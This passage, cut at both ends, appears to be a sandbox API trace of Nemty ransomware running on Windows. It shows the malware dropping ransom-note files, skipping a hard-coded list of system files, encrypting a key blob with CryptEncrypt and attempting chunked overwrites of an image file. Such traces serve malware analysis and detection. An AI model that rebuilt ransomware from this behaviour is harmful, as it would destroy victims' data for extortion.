Size=0x20) returned 0x4f9ecb8 [0134.971] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0134.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0134.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0134.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0134.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0134.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340100 [0134.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0134.972] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0134.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0134.974] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.974] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0134.975] CloseHandle (hObject=0x1ec) returned 1 [0134.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0134.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0134.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0134.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0134.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0134.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0134.976] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0134.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0134.976] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0134.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0134.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0134.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0134.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0134.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340100 [0134.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0134.976] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0134.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0134.977] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.977] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0134.977] CloseHandle (hObject=0x1ec) returned 1 [0134.978] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0134.978] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0134.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0134.978] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x4183d30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x4183d30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0134.978] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0134.978] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x4183d30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x4183d30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.978] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0134.978] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0134.978] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38888b53, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x38888b53, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x38888b53, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb22, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="0.png", cAlternateFileName="")) returned 1 [0134.979] lstrcmpiW (lpString1="0.png", lpString2=".") returned 1 [0134.979] lstrcmpiW (lpString1="0.png", lpString2="..") returned 1 [0134.979] lstrcmpiW (lpString1="0.png", lpString2="...") returned 1 [0134.979] lstrcmpiW (lpString1="0.png", lpString2="windows") returned -1 [0134.979] lstrcmpiW (lpString1="0.png", lpString2="$RECYCLE.BIN") returned 1 [0134.979] lstrcmpiW (lpString1="0.png", lpString2="rsa") returned -1 [0134.979] lstrcmpiW (lpString1="0.png", lpString2="NTDETECT.COM") returned -1 [0134.979] lstrcmpiW (lpString1="0.png", lpString2="ntldr") returned -1 [0134.979] lstrcmpiW (lpString1="0.png", lpString2="MSDOS.SYS") returned -1 [0134.979] lstrcmpiW (lpString1="0.png", lpString2="IO.SYS") returned -1 [0134.979] lstrcmpiW (lpString1="0.png", lpString2="boot.ini") returned -1 [0134.979] lstrcmpiW (lpString1="0.png", lpString2="boot.ini") returned -1 [0134.979] lstrcmpiW (lpString1="0.png", lpString2="AUTOEXEC.BAT") returned -1 [0134.979] lstrcmpiW (lpString1="0.png", lpString2="ntuser.dat") returned -1 [0134.979] lstrcmpiW (lpString1="0.png", lpString2="desktop.ini") returned -1 [0134.979] lstrcmpiW (lpString1="0.png", lpString2="CONFIG.SYS") returned -1 [0134.979] lstrcmpiW (lpString1="0.png", lpString2="RECYCLER") returned -1 [0134.979] lstrcmpiW (lpString1="0.png", lpString2="BOOTSECT.BAK") returned -1 [0134.979] lstrcmpiW (lpString1="0.png", lpString2="bootmgr") returned -1 [0134.979] lstrcmpiW (lpString1="0.png", lpString2="programdata") returned -1 [0134.979] lstrcmpiW (lpString1="0.png", lpString2="appdata") returned -1 [0134.979] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="0.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0134.979] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="0.png", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0.png", lpUsedDefaultChar=0x0) returned 5 [0134.979] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="0.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0134.979] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="0.png", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0.png", lpUsedDefaultChar=0x0) returned 5 [0134.979] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="0.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0134.979] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="0.png", cchWideChar=5, lpMultiByteStr=0x653ec20, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0.png", lpUsedDefaultChar=0x0) returned 5 [0134.979] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="0.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0134.979] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="0.png", cchWideChar=5, lpMultiByteStr=0x653ec58, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0.png", lpUsedDefaultChar=0x0) returned 5 [0134.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0134.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0134.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0134.979] Sleep (dwMilliseconds=0x5) [0134.984] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x41a9e90, dwHighDateTime=0x1d561e8)) [0134.984] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x41a9e90, dwHighDateTime=0x1d561e8)) [0134.985] GetLastError () returned 0xb7 [0134.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0134.985] GetLastError () returned 0xb7 [0134.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0134.985] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0134.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0134.985] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0134.985] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0134.985] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0134.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0134.985] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e91c | out: pszString="RQ95or825fDwu0TkWNU+I03rtEumMdNk0yWG80WMm6mMABlv9TF27vKUUA4L7x4S\r\nVFfcrIaRWA/E2NmeNiH6wFbt1hxpWEFTzjF9hIusUWb07yL/jyHLzAHZLVqXrmxT\r\nvdnq17bou6Zb1Uone8ExRnfqrSkoZmcb4//GFSTbfkFxfu19Bk0v7YEZXyJceoTZ\r\n8oZw4hqWcsDRVJvuaP+U0QM/jAzE9YozkQ411CuZP1xSCk44MtFuuCDNgsTEkuWx\r\n+La22pK0NCjef/SgNoIAuGyaf6sdjoTY3EzmAGsxqfCZ2gEa8St9krE+IBIO/jTN\r\nb+n2UKi6558sDzdw5KqbxQ==\r\n", pcchString=0x653e91c) returned 1 [0134.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0134.985] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0134.985] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0134.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0134.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0134.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0134.985] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\0.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\0.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0134.985] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0134.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0134.985] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.985] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0134.995] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.995] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0134.995] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.995] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.004] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.004] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.004] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.004] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.014] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.014] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.014] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.014] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.023] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.023] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.023] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.023] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.033] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.033] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.033] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.033] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.042] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.042] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.042] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.042] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.052] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.052] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.053] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.053] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.062] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.062] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.062] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.062] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.071] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.071] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.071] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.071] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.081] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.081] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.081] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.081] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.087] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.087] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.087] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.087] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.093] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.093] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.093] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.093] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340198, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0135.093] CloseHandle (hObject=0xffffffff) returned 0 [0135.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0135.093] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0135.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0135.093] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0135.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0135.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0135.093] RtlAllocateHeap (HeapHandle=0x4f90000, 